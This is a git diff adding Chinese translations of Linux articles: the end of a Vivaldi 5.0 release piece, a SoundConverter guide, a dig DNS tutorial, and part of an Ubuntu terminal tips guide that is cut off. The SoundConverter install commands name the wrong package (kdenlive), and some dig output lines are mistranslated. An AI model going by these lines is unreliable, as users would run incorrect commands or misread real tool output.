在很多方面都令人印象深刻,但对于用户来说,其关注下载进度的能力并不那么直观。你必须到侧面板(或“下载”)中去检查下载的进度。 + +相比之下,在其他网页浏览器中,你可以在你的扩展程序旁边找到一个按钮。 + +在 Vivaldi 5.0 中,你终于可以使用地址栏中的一个按钮来检查下载进度,点击该按钮将打开一个弹出窗口来显示你的下载进度。 + +#### 为安卓用户提供的增强功能 + +Vivaldi 的安卓版也有了重大更新和期待已久的功能。 + +安卓用户现在可以使用桌面用户已经在使用的 “两级标签堆栈Two-level Tab Stacks”。 + +也许,这对任何安卓手机浏览器来说都是第一次! + +对于那些不知道的人来说,这个功能有助于将标签页组合在一起,产生两级。这有助于避免多个标签挤在一起。 + +![致谢:Vivaldi][14] + +可配置的“标签栏Tab Bar”现在多了两个选项。例如,背景标签上用于关闭的“X”按钮可以被移除(为更多的标签腾出空间)。用户还可以将标签简单地显示为收藏夹,因此没有标题,也没有“X”按钮。 + +因此,你有很多管理你的安卓移动设备上的标签的方法。 + +虽然这很有趣,但我不太确定对用户来说,在小屏幕上掺杂两级标签堆栈的感觉如何。 + +![video][8] + +平板电脑和 Chromebook 用户也将享受到用户界面更新的待遇。平板电脑和 Chromebook 用户现在可以使用经典的“侧面板Side Panel”,以组织浏览器的布局,尽量减少杂乱。 + +这一功能的增加可以使 Vivaldi 成为平板电脑用户的有力选择。 + +#### 其他改进 + +除了关键的亮点之外,你可以发现速度的改进和错误的修复。 + +要探索更多,你可以查看其 [桌面版][9] 和 [安卓版][10] 的官方博客文章。 + +### 总结 + +Vivaldi 无疑是一个会关注其用户需求和网页体验的浏览器。对于喜欢更多定制和功能的用户来说,最新的版本听起来很令人感兴趣。 + +你可以从官方网站下载可用的 DEB/RPM 包并进行安装。 + +- [下载 Vivaldi 5.0][11] + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/vivaldi-5-0-release/ + +作者:[Rishabh Moharir][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/rishabh/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/best-browsers-ubuntu-linux/#:~:text=Mozilla%20Firefox&text=Firefox%20is%20the%20default%20web%20browser%20for%20most%20Linux%20distributions. +[2]: https://vivaldi.com/source/ +[3]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/Theme-v2_Editor.png?resize=1568%2C882&ssl=1 +[4]: https://themes.vivaldi.net +[5]: https://youtu.be/Ydnds6GU_Lc +[6]: https://news.itsfoss.com/vivaldi-4-0-release/ +[7]: https://lingvanex.com +[8]: https://youtu.be/wujcMAdd-tw +[9]: https://vivaldi.com/blog/vivaldi-5-0-desktop-themes-translate-panel/ +[10]: https://vivaldi.com/blog/vivaldi-on-android-gets-worlds-first-two-rows-of-mobile-browser-tabs/ +[11]: https://vivaldi.com/download/ +[12]: https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/vivaldi-5-export.png?resize=1568%2C882&ssl=1 +[13]: https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/Download-popup.png?resize=1568%2C882&ssl=1 +[14]: https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/android_double-line-tab-stack-new-blog.png?resize=1568%2C882&ssl=1 \ No newline at end of file diff --git a/published/202112/20211204 Convert audio in batches on Linux with SoundConverter.md b/published/202112/20211204 Convert audio in batches on Linux with SoundConverter.md new file mode 100644 index 0000000000..3e1a58e429 --- /dev/null +++ b/published/202112/20211204 Convert audio in batches on Linux with SoundConverter.md @@ -0,0 +1,82 @@ +[#]: subject: "Convert audio in batches on Linux with SoundConverter" +[#]: via: "https://opensource.com/article/21/12/soundconverter-linux" +[#]: author: "Seth Kenlon https://opensource.com/users/seth" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14072-1.html" + +在 Linux 上用 SoundConverter 分批转换音频 +====== + +> SoundConverter 是一个有用的应用,它不仅能做到它的名字所说的那样,而且它是分批和并行地做的。 + +![](https://img.linux.net.cn/data/attachment/album/202112/11/090248gqt2hwqtyft51qwh.jpg) + +有许多用于存储数字音频的文件格式,它们适用于不同的目的。当然,数字音频只是声音的一种表现形式,是一种声波的呈现,它由解码器和一组扬声器转化为声音。一些音频格式,一般被称为 无损lossless 格式,旨在将音频编码为接近其原始模拟形式。然而,在现实世界中有大量的数据,而迄今为止,数字形式只能对其进行近似处理,而且需要非常大的文件。其他的音频格式,被称 有损lossy 格式,可以在文件大小与声音的合理表现之间取得平衡。 + +有很多很好的终端命令可以用于音频转换:有 `sox` 和 `ffmpeg`,以及一些特定格式的编码器,如 `opusenc`、`flac`、`oggenc`、`fdkaac`、`wavpack` 和无数的其他编码器。 + +### 在 Linux 上安装 SoundConverter + +SoundConverter 在大多数 Linux 发行版上都可以通过你的包管理器获得。在 Fedora、Mageia 和类似的发行版上: + +``` +$ sudo dnf install kdenlive +``` + +在 Elementary、Mint 和其他基于 Debian 的发行版上: + +``` +$ sudo apt install kdenlive +``` + +然而,我使用使用 [Flatpak][2] 安装 SoundConverter。 + +### 转换音频 + +一旦你把音频编码成有损格式,你就丢失了数据。这些数据是否重要取决于其听众的耳朵。有些人听不出低比特率的 MP3 和全质量的 FLAC 文件之间的区别,即使那些能听出来的人,也常常注意不到 320kbps 的 Ogg Vorbis 播客和 128kbps 的 Ogg Vorbis 播客之间的区别。将音频从压缩格式转换为非压缩格式并不能恢复丢失的数据,但需要将音频从一种格式转换为另一种格式的情况并不少见。你可能想把文件上传到只接受特定格式的网站,或者你的移动设备可能只能播放特定的格式,或者用电子邮件发送一个对你的邮件主机来说太大的文件,或者你可能只是想节省硬盘上的空间。 + +SoundConverter 可以让你轻松地分批转换音频。要用 SoundConverter 转换音频: + + 1. 从你的应用或活动菜单中启动 SoundConverter。 + 2. 点击 SoundConverter 窗口左上角的“添加文件Add Files”按钮,并选择你要转换的文件。 + 3. 添加了文件后,点击窗口右上角的“偏好Preferences”按钮(齿轮图标),并选择你想转换的格式。你还可以设置文件命名规则、目标文件夹和其他选项。 + 4. 当你准备好了,点击左上角的“转换Convert”按钮。 + +![SoundConverter window][3] + +### 并行处理 + +SoundConverter 是一个有用的应用,它不仅完全做了它的名字所说的事情,而且它是分批和并行地做的。因为现代计算机不仅仅有一个 CPU 核心,把每个文件放在一个队列中逐一编码,是对能源和时间的浪费。SoundConverter 可以同时处理几个文件,并对它们进行编码,这意味着转换 12 个文件所需的时间和通常一个接一个地转换两个文件所需的时间是一样的。你可以用一个好的终端命令做同样的事情,但前提是你要了解如何 [启动并行进程][5]。 + +![SoundConverter preferences][6] + +你也可以将立体声音频转换为单声道文件。这对播客和有声读物特别有用。这些通常由一个人从一个单一的位置(麦克风)说话组成,不需要空间位置感。事实上,将立体声文件减少到单声道,如果你只有一个耳塞,就能更容易听到音频,并将文件大小减半。 + +### SoundConverter 的优势 + +为音频提供不同的文件格式是一个很好的功能,但似乎每当我以一种格式保存音频时,我都不可避免地需要另一种格式。有几个很棒的 Linux 命令可以 [转换音频文件][7],但有时你可能想要一个可以在桌面上打开并拖放文件的应用,这就是 [SoundConverter][8] 的用场。SoundConverter 是一个简单的而用途单一的应用程序,它的作用和它的名字一样:把声音从一种格式转换为另一种格式。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/12/soundconverter-linux + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/sound-radio-noise-communication.png?itok=KMNn9QrZ (radio communication signals) +[2]: https://opensource.com/article/21/11/install-flatpak-linux +[3]: https://opensource.com/sites/default/files/uploads/soundconverter_0.jpg (SoundConverter window) +[4]: https://creativecommons.org/licenses/by-sa/4.0/ +[5]: https://opensource.com/article/18/5/gnu-parallel +[6]: https://opensource.com/sites/default/files/uploads/soundconvert-preferences.jpg (SoundConverter preferences) +[7]: https://opensource.com/article/17/6/ffmpeg-convert-media-file-formats +[8]: https://soundconverter.org/ diff --git a/published/202112/20211204 How to use dig.md b/published/202112/20211204 How to use dig.md new file mode 100644 index 0000000000..c472b6fad8 --- /dev/null +++ b/published/202112/20211204 How to use dig.md @@ -0,0 +1,252 @@ +[#]: subject: "How to use dig" +[#]: via: "https://jvns.ca/blog/2021/12/04/how-to-use-dig/" +[#]: author: "Julia Evans https://jvns.ca/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14051-1.html" + +如何使用 dig +====== + +![](https://img.linux.net.cn/data/attachment/album/202112/05/192530gj36ttdwz16azu6w.jpg) + +你好!最近我和几个朋友聊天,他们提到希望知道如何使用 `dig` 来进行 DNS 查询,所以这是一篇关于它的速读博文。 + +当我第一次使用 `dig` 时,我发现它有点吓人 —— 有这么多的选项!我打算把大部分的选项省略。在这篇文章中,我打算不谈 `dig` 的大部分选项,只谈我实际使用的选项。 + +我最近还了解到,你可以设置一个 `.digrc` 配置文件,让它的输出更容易阅读,这让它的使用变得更加轻松。 + +几年前我还画了一个关于 `dig` 的 [zine 页][1],但我想写这篇文章来包括更多的信息。 + +### 两种类型的 dig 参数:查询和格式化 + +有两种主要的参数可以传递给 `dig`: + + 1. 告诉 `dig` **要进行什么 DNS 查询的参数**。 + 2. 告诉 `dig` 如何 **格式化响应的参数**。 + +首先,让我们看一下查询选项。 + +### 主要的查询选项 + +你通常想控制 DNS 查询的 3 件事是: + + 1. **名称**(如 `jvns.ca`)。默认情况下,查询的是空名称(`.`)。 + 2. **DNS 查询类型**(如 `A` 或 `CNAME`)。默认是 `A`。 + 3. 发送查询的 **服务器**(如 `8.8.8.8`)。默认是 `/etc/resolv.conf` 中的内容。 + +其格式是: + +``` +dig @server name type +``` + +这里有几个例子: + + * `dig @8.8.8.8 jvns.ca` 向谷歌的公共 DNS 服务器(`8.8.8.8`)查询 `jvns.ca`。 + * `dig ns jvns.ca` 对 `jvns.ca` 进行类型为 `NS` 的查询。 + +### `-x`:进行反向 DNS 查询 + +我偶尔使用的另一个查询选项是 `-x`,用于进行反向 DNS 查询。下面是输出结果的样子。 + +``` +$ dig -x 172.217.13.174 +174.13.217.172.in-addr.arpa. 72888 IN PTR yul03s04-in-f14.1e100.net。 +``` + +`-x` 不是魔术。`dig -x 172.217.13.174` 只是对 `174.13.217.172.in-addr.arpa.` 做了一个 `PTR` 查询。下面是如何在不使用 `-x’ 的情况下进行完全相同的反向 DNS 查询。 + +``` +$ dig ptr 174.13.217.172.in-addr.arpa. +174.13.217.172.in-addr.arpa. 72888 IN PTR yul03s04-in-f14.1e100.net。 +``` + +我总是使用 `-x`,因为它可以减少输入。 + +### 格式化响应的选项 + +现在,让我们讨论一下你可以用来格式化响应的参数。 + +我发现 `dig` 默认格式化 DNS 响应的方式对初学者来说是很难接受的。下面是输出结果的样子: + +``` +; <<>> DiG 9.16.20 <<>> -r jvns.ca +;; global options: +cmd +;; Got answer: +;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 28629 +;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 + +;; OPT PSEUDOSECTION: +; EDNS: version: 0, flags:; udp: 4096 +; COOKIE: d87fc3022c0604d60100000061ab74857110b908b274494d (good) +;; QUESTION SECTION: +;jvns.ca. IN A + +;; ANSWER SECTION: +jvns.ca. 276 IN A 172.64.80.1 + +;; Query time: 9 msec +;; SERVER: 192.168.1.1#53(192.168.1.1) +;; WHEN: Sat Dec 04 09:00:37 EST 2021 +;; MSG SIZE rcvd: 80 +``` + +如果你不习惯看这个,你可能需要花点时间来筛选,找到你要找的 IP 地址。而且大多数时候,你只对这个响应中的一行感兴趣(`jvns.ca. 180 IN A 172.64.80.1`)。 + +下面是我最喜欢的两种方法,可以使 `dig` 的输出更容易管理: + +#### 方式 1 : +noall +answer + +这告诉 `dig` 只打印 DNS 响应中的“答案”部分的内容。下面是一个查询 `google.com` 的 `NS` 记录的例子: + +``` +$ dig +noall +answer ns google.com +google.com. 158564 IN NS ns4.google.com. +google.com. 158564 IN NS ns1.google.com. +google.com. 158564 IN NS ns2.google.com. +google.com. 158564 IN NS ns3.google.com. +``` + +这里的格式是: + +``` +NAME TTL TYPE CONTENT +google.com 158564 IN NS ns3.google.com. +``` + +顺便说一下:如果你曾经想知道 `IN` 是什么意思,它是指“查询类”,代表“互联网 internet”。它基本上只是上世纪 80、90 年代的遗物,当时还有其他网络与互联网竞争,如“混沌网络chaosnet”。 + +#### 方式 2:+short + +这就像 `dig +noall +answer`,但更短:它只显示每条记录的内容。比如说: + +``` +$ dig +short ns google.com +ns2.google.com. +ns1.google.com. +ns4.google.com. +ns3.google.com. +``` + +### 你可以在 `digrc` 中设置格式化选项 + +如果你不喜欢 `dig` 的默认格式(我就不喜欢!),你可以在你的主目录下创建一个 `.digrc` 文件,告诉它默认使用不同的格式。 + +我非常喜欢 `+noall +answer` 格式,所以我把 `+noall +answer` 放在我的 `~/.digrc` 中。下面是我使用该配置文件运行 `dig jvns.ca` 时的情况。 + +``` +$ dig jvns.ca +jvns.ca. 255在172.64.80.1中 +``` + +这样读起来就容易多了! + +如果我想回到所有输出的长格式(我有时会这样做,通常是因为我想看响应的权威部分的记录),我可以通过运行再次得到一个长答案。 + +``` +$ dig +all jvns.ca +``` + +### dig +trace + +我使用的最后一个 `dig` 选项是 `+trace`。`dig +trace` 模仿 DNS 解析器在查找域名时的做法 —— 它从根域名服务器开始,然后查询下一级域名服务器(如 `.com`),以此类推,直到到达该域名的权威域名服务器。因此,它将进行大约 30 次 DNS 查询。(我用 `tcpdump` 检查了一下,对于每个根域名服务器的 `A` / `AAAA` 记录它似乎要进行 2 次查询,所以这已经是 26 次查询了。我不太清楚它为什么这样做,因为它应该已经有了这些 IP 的硬编码,但它确实如此。) + +我发现这对了解 DNS 的工作原理很有用,但我不认为我用它解决过问题。 + +### 为什么要用 dig + +尽管有一些更简单的工具来进行 DNS 查询(如 `dog` 和 `host`),我发现自己还是坚持使用 `dig`。 + +我喜欢 `dig` 的地方实际上也是我 **不喜欢** `dig` 的地方 —— 它显示了大量的细节! + +我知道,如果我运行 `dig +all`,它将显示 DNS 响应的所有部分。例如,让我们查询 `jvns.ca` 的一个根名称服务器。响应有 3 个部分,我可能会关心:回答部分、权威部分和附加部分。 + +``` +$ dig @h.root-servers.net. jvns.ca +all +;; Got answer: +;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 18229 +;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 4, ADDITIONAL: 9 +;; WARNING: recursion requested but not available + +;; OPT PSEUDOSECTION: +; EDNS: version: 0, flags:; udp: 1232 +;; QUESTION SECTION: +;jvns.ca. IN A + +;; AUTHORITY SECTION: +ca. 172800 IN NS c.ca-servers.ca. +ca. 172800 IN NS j.ca-servers.ca. +ca. 172800 IN NS x.ca-servers.ca. +ca. 172800 IN NS any.ca-servers.ca. + +;; ADDITIONAL SECTION: +c.ca-servers.ca. 172800 IN A 185.159.196.2 +j.ca-servers.ca. 172800 IN A 198.182.167.1 +x.ca-servers.ca. 172800 IN A 199.253.250.68 +any.ca-servers.ca. 172800 IN A 199.4.144.2 +c.ca-servers.ca. 172800 IN AAAA 2620:10a:8053::2 +j.ca-servers.ca. 172800 IN AAAA 2001:500:83::1 +x.ca-servers.ca. 172800 IN AAAA 2620:10a:80ba::68 +any.ca-servers.ca. 172800 IN AAAA 2001:500:a7::2 + +;; Query time: 103 msec +;; SERVER: 198.97.190.53#53(198.97.190.53) +;; WHEN: Sat Dec 04 11:23:32 EST 2021 +;; MSG SIZE rcvd: 289 + +``` + +`dog` 也显示了 “附加” 部分的记录,但它没有明确指出哪个是哪个(我猜 `+` 意味着它在附加部分?) ,但它似乎没有显示“权威”部分的记录。 + +``` +$ dog @h.root-servers.net. jvns.ca + NS ca. 2d0h00m00s A "c.ca-servers.ca." + NS ca. 2d0h00m00s A "j.ca-servers.ca." + NS ca. 2d0h00m00s A "x.ca-servers.ca." + NS ca. 2d0h00m00s A "any.ca-servers.ca." + A c.ca-servers.ca. 2d0h00m00s + 185.159.196.2 + A j.ca-servers.ca. 2d0h00m00s + 198.182.167.1 + A x.ca-servers.ca. 2d0h00m00s + 199.253.250.68 + A any.ca-servers.ca. 2d0h00m00s + 199.4.144.2 +AAAA c.ca-servers.ca. 2d0h00m00s + 2620:10a:8053::2 +AAAA j.ca-servers.ca. 2d0h00m00s + 2001:500:83::1 +AAAA x.ca-servers.ca. 2d0h00m00s + 2620:10a:80ba::68 +AAAA any.ca-servers.ca. 2d0h00m00s + 2001:500:a7::2 +``` + +而 `host` 似乎只显示“答案”部分的记录(在这种情况下没有得到记录): + +``` +$ host jvns.ca h.root-servers.net +Using domain server: +Name: h.root-servers.net +Address: 198.97.190.53#53 +Aliases: +``` + +总之,我认为这些更简单的 DNS 工具很好(我甚至自己做了一个 [简单的网络 DNS 工具][2]),如果你觉得它们更容易,你绝对应该使用它们,但这就是为什么我坚持使用 `dig` 的原因。`drill` 的输出格式似乎与 `dig` 的非常相似,也许 `drill` 更好!但我还没有真正试过它。 + +### 就这些了 + +我最近才知道 `.digrc`,我非常喜欢使用它,所以我希望它能帮助你们中的一些人花更少的时间来整理 `dig` 的输出! + +有人在 Twitter 上指出,如果有办法让 `dig` 显示响应的简短版本,其中也包括响应的状态(如 `NOERROR`、`NXDOMAIN`、`SERVFAIL` 等),那就更好了!我同意这个观点!不过我在手册中没有找到这样的选项。 + +-------------------------------------------------------------------------------- + +via: https://jvns.ca/blog/2021/12/04/how-to-use-dig/ + +作者:[Julia Evans][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://jvns.ca/ +[b]: https://github.com/lujun9972 +[1]: https://wizardzines.com/comics/dig/ +[2]: https://dns-lookup.jvns.ca/ diff --git a/published/202112/20211206 19 Absolute Simple Things About Linux Terminal Every Ubuntu User Should Know.md b/published/202112/20211206 19 Absolute Simple Things About Linux Terminal Every Ubuntu User Should Know.md new file mode 100644 index 0000000000..df9a843b4a --- /dev/null +++ b/published/202112/20211206 19 Absolute Simple Things About Linux Terminal Every Ubuntu User Should Know.md @@ -0,0 +1,377 @@ +[#]: subject: "19 Absolute Simple Things About Linux Terminal Every Ubuntu User Should Know" +[#]: via: "https://itsfoss.com/basic-terminal-tips-ubuntu/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14064-1.html" + +关于 Ubnutu Linux 终端的必知必会的 19 件超简单的事情 +====== + +终端常常让新用户感到害怕。然而,一旦你了解了它,你就会逐渐开始喜欢上它。好吧,这事往往发生在大多数 Linux 用户身上。 + +即使你使用 Ubuntu 作为桌面系统,你可能有时也要进入终端。新用户往往对很多事情毫无头绪,在这种情况下,一些基本的 Linux 命令的知识总是有帮助的,但这篇文章不是关于这个。 + +这篇文章的重点是解释关于使用终端的一些小的、基本的、经常被忽视的东西。这应该可以帮助 Ubuntu 桌面的新用户了解终端,并以更高的效率使用它。 + +![][1] + +你看到的“终端terminal”只是 [各种终端应用程序][2] 中的一个。毕竟终端只是一个 GUI 工具,它可以让你进入一个可以运行命令的 Shell 。 + +不同的终端应用程序(正确地应该被称为“终端仿真器”)看起来有些稍微不同的功能和特点(如不同的键盘快捷键、颜色组合、字体等)。 + +本文特别关注 Ubuntu 的默认终端,它是 “GNOME 终端”的一个实现。 + +### 1、用键盘快捷方式打开终端 + +你可以 [在 Ubuntu 中打开终端][3],在系统菜单中寻找到它。然而,我最喜欢的方式是使用 [Ubuntu 中的键盘快捷键][4]:`Ctrl+Alt+T` 。 + +### 2、终端、Shell、提示符和命令行 + +在你看其他内容之前,你应该知道这些不同术语之间的区别,这些术语经常被(不正确地)互换使用。 + +![终端、提示符和命令][5] + +“终端”是图形化的应用程序,默认情况下运行 Shell。 + +Shell 很难与终端分开进行可视化。终端运行着一个 Shell,在 Ubuntu 中通常默认为 Bash shell。和终端一样,也有各种 Shell。Bash 是其中最受欢迎的,也是大多数 Linux 发行版上的默认 Shell。 + +你输入的命令是由 Shell 解释的。通常人们认为他们在终端看到的屏幕就是 Shell。这适合理解这个概念。 + +“提示符”是你在输入命令的空格前看到的东西。对于提示符没有固定的标准。在一些旧的终端中,只是在你可以输入命令的地方有一个闪烁的光标而已。在 Ubuntu 终端中,提示符给了你一些信息,你会在本文后面的章节中看到这些信息的细节。 + +“命令行”不是 Linux 特有的东西。很多操作系统都有一个命令行界面。许多编程语言也都有命令行界面。它是一个术语,用来指你可以运行和执行命令的界面。 + +Luke Smith 的 [这个视频](https://www.youtube.com/embed/hMSByvFHOro) 用例子详细解释了它。言归正传,我在这里就不多说了。 + +### 3、了解提示符 + +你现在已经知道了。你在输入命令的空格前看到的东西叫做“提示符”。它是可配置的,在不同的发行版、终端应用程序和 Shell 中提示符看起来是不同的。 + +Ubuntu 终端对提示符进行了配置,让你看到一些东西。你可以一目了然地得到以下信息: + + * 用户名 + * 主机名(计算机的名称) + * 当前工作目录 + +还有一些你可能想知道的惯例。 + +提示符中的冒号(`:`)是一个分隔符,常用来区分主机名和当前位置。 + +波浪号(`~`)表示当前用户的主目录。 + +对于普通用户,提示符以美元(`$`)符号结束。对于 root 用户来说,它以英镑或哈希(`#`)符号结束。因此有一个笑话说,英镑比美元强。 + +![][7] + +你是否注意到,当我切换到 root 用户时,命令提示符看起来不一样,没有任何颜色?这又一次提醒了我,提示符不是一个标准,是要明确配置的。对于普通用户来说,Ubuntu 对提示符的配置与 root 用户不同。 + +像这样的简单信息间接地帮助了我们。在一个多用户环境中,你可以很容易地弄清楚你现在使用的是哪个用户,以及它是否是 root 用户。其显示的路径位置也是有帮助的。 + +![][8] + +### 4、目录和文件 + +在 Linux 中你听到最多的两个术语是目录和文件。 + +你可能知道什么是文件,但你可能会对“目录directory”这个术语感到困惑。目录就是“文件夹folder”。它把文件和文件夹放在里面。 + +你可以进入目录,但你不能进入文件。当然,你可以读取文件。 + +![][9] + +你可以用“文件夹”这个词来表示目录,应该没有问题。然而,最好使用“目录”,因为你会在各种教程、文件等中看到引用这个词。你甚至会发现像 `rmdir`、`mkdir` 这样的命令,暗示它们是处理目录的。 + +补充说明:在 Linux 中,所有东西都是文件。甚至目录也是一种特殊的文件,里面有文件和目录的地址。我已经在我的关于 [硬链接的文章][10] 中解释了这一点。如果你想了解更多关于这个主题的信息,可以参考一下。 + +### 5、路径:绝对路径和相对路径 + +[Linux 中的目录结构][11] 类似于一棵树的根。所有的东西都从根部开始,并从那里向外扩散。 + +如果你要访问一个文件或目录,你需要通过提供它的“路径”来说明如何到达它的位置。这个路径是由目录名和分隔符(`/`)组成的。如果一个路径以 `/`(即根)开头,它就是一个绝对路径,否则就是一个相对路径。 + +![路径][12] + +绝对路径从根开始,可以很容易地从系统的任何地方引用。相对路径则取决于你在目录结构中的当前位置。 + +![绝对路径与相对路径][13] + +如果你在 `/home/abhishek` 这个位置,有一个名为 `scripts` 的目录,里面有一个文件 `my_script.sh`,你想知道这个文件的路径,它的绝对路径将是: + +``` +/home/abhishek/scripts/my_script.sh +``` + +它的相对路径将是: + +``` +scripts/my_script.sh +``` + +如果你改变所在位置,文件的绝对路径保持不变。但是,相对路径会改变,因为它是相对于你当前的路径而言的。 + +![相对路径随位置变化但绝对路径保持不变的真实例子][14] + +### 6、 . 和 .. + +在使用 Linux 终端时,你可能经常会遇到 `.`和 `..` 符号。 + +单点(`.`)表示当前目录。 + +双点(`..`)表示父目录(比当前位置高一个目录)。 + +你经常在相对路径中使用双点(`..`),或者用于改变目录。单点(`.`)也用于相对路径中,但更重要的是,你可以在指定当前位置的命令中使用它。 + +![ . 和 .. 的使用][15] + +### 7、理解命令的结构 + +一个典型的 Linux 命令由一个命令名和选项及参数组成。 + +``` +命令名 [选项] 参数 +``` + +“选项”,顾名思义,是可选的。当使用时,它们可能会根据其属性来改变输出。 + +例如,`cat` 命令是用来查看文件的。你可以添加选项 `-n`,它也会显示行数。 + +选项不是标准化的。通常情况下,它们是由单字母和单破折号(`-`)组成的。它们也可能是两个破折号(`--`)和一个单词的形式。 + +同样的选项在不同的命令中可能有不同的含义。如果你在 `head` 命令中使用 `-n`,表明你想看行数,而不是行号。 + +![同样的选项 -n 在 cat 和 head 命令中有不同的用途][16] + +在命令文档中,**如果你看到方括号(`[]`)之间有什么东西,它表示括号中的内容是可选的**。 + +同样地,“参数”也没有标准化。有些命令希望用文件名作为参数,有些则希望用目录名或正则表达式。 + +### 8、获得帮助 + +当你开始使用命令时,你可能会记住一些经常使用的命令的选项,但你根本不可能记住所有命令的所有选项。 + +为什么呢?因为一条命令可能有十多个或二十多个选项。 + +那么,当你无法记住所有的选项时,你该怎么办呢?你需要“帮助”。我所说的帮助,并不是指在 [Linux 论坛][17] 上提问。我指的是使用命令的帮助选项。 + +每个标准的 Linux 命令都有一个快速帮助页面,可以用 `-h` 或 `—help` 来访问。 + +``` +命令名 -h +``` + +它可以让你快速了解命令的语法、常用选项及其含义,在某些情况下还有命令的例子。 + +![cat 命令的帮助页][18] + +如果你需要更多的帮助,你可以参考 [手册页][19],即命令的手册。 + +``` +man 命令名 +``` + +它涉及到所有的细节,阅读和理解起来可能会让人难以承受。另外,你也可以在网上搜索 “Linux 中 xyz 命令的例子”。 + +### 9、Linux 是区分大小写的 + +Linux 是区分大小写的。你在终端中输入的所有东西都是区分大小写的。如果你不考虑这一点,你会经常遇到 “[bash: command not found][20]” 或 “file not found” 的错误。 + +在主目录中,你的所有文件夹名称以大写字母开头的。如果你要切换到 `Documents` 目录,你必须把第一个字母保持为 `D`,而不是 `d`。 + +![Linux 是区分大小写的][21] + +你可以有两个分别名为 `file.txt` 和 `File.txt` 的文件,因为对于 Linux 来说,`file` 和 `File` 是不一样的。 + +### 10、运行 Shell 脚本 + +你可以通过指定 Shell 来 [运行一个 Shell 脚本][22]: + +``` +bash script.sh +``` + +或者你可以像这样执行 Shell 脚本。 + +``` +./script.sh +``` + +第二种方法只有在文件有执行权限时才会起作用。更多关于 [Linux 文件权限参考这里][23]。 + +![运行bash脚本][24] + +### 11、使用制表符补完而不是全部输入 + +Ubuntu 的终端已经预先配置了制表符补完功能。这意味着如果你开始在终端上输入,然后点击 `tab` ,它会尝试自动完成它,或者在有多个可能的匹配时提供选项。 + +它既适用于命令,也适用于参数和文件名。 + +![Tab 完成示例][25] + +这可以节省大量的时间,因为你不需要把所有的东西都写完整。 + +### 12、Ctrl+C 和 Ctrl+V 不是用来在终端复制粘贴的。 + +`Ctrl+C`、`Ctrl+V` 可能是复制粘贴的“通用”键盘快捷键,但它在 Linux 终端中不行。 + +Linux 继承了 UNIX 的很多东西,在 UNIX 中,`Ctrl+C` 被用来停止一个正在运行的进程。 + +由于 `Ctrl+C` 已经被用于停止一个命令或进程,所以它不能再用于复制粘贴。 + +### 13、你当然可以在终端复制粘贴 + +别担心。你仍然可以 [在终端中复制粘贴][26]。同样,复制-粘贴的键盘快捷键没有固定的规则,因为它取决于你使用的终端程序或你的配置。 + +在 Ubuntu 终端中,复制的默认键盘快捷键是 `Ctrl+Shift+C`,粘贴则是 `Ctrl+Shift+V`。 + +你可以使用 `Ctrl+C` 从终端外(如网页浏览器)复制文本和命令,并使用 `Ctrl+Shift+V` 将其粘贴。同样,你可以高亮显示文本,用 `Ctrl+Shift+C` 从终端复制文本,用 `Ctrl+V` 粘贴到编辑器或其他应用程序。 + +### 14、避免在终端中使用 Ctrl+S + +另一个初学者常犯的错误是使用“通用”的 `Ctrl+S` 键盘快捷键来保存。如果你在终端中使用 `Ctrl+S`,你的终端会被“冻结”。 + +这来自于传统的计算机,在那里没有向上滚动的滚动条。因此,如果有大量的输出行,`Ctrl+S` 被用来停止屏幕,以便可以阅读屏幕上的文字。 + +你可以用 `Ctrl+Q` 来解除终端的冻结。但还是要避免在终端中使用 `Ctrl+S`。 + +### 15、注意命令例子中的 $ 和 <> + +如果你参考一些在线教程或文档,你会看到一些命令例子中的文本在 `<>` 内。这表明你需要用一个合适的值来替换与 `<` 和 `>` 一起的内容。 + +例如,如果你看到一个这样的命令: + +``` +grep -i <搜索内容> <文件名> +``` + +你应该把 `<搜索内容>` 和 `<文件名>` 换成各自的实际值。(LCTT 译注:不要输入 `<` 和 `>`) + +这表明该命令只是一个例子,你必须用实际值来完成它。 + +这里需要注意的另一件事是,有些教程显示的命令例子是以 `$` 开头的,比如这样: + +![命令开头的美元符号][27] + +这是表明它们是命令(而不是命令输出)的一种方式。但是,许多新的 Linux 用户把前面的 `$` 和实际的命令一起复制,当他们把它粘贴到终端时,显然会出现错误。 + +所以,当你复制一些命令时,如果开头有 `$`,就不要复制它。你也应该避免复制随机网站的随机命令,特别是当你不了解它的作用时。 + +既然你正在阅读关于复制命令的文章,当你看到多行的命令在一起时,你应该一次复制一行,然后逐一运行。 + +![避免将多个命令复制在一起][28] + +下一节将告诉你如何一次性运行多个命令。 + +### 16、你可以同时运行多个命令 + +你可以 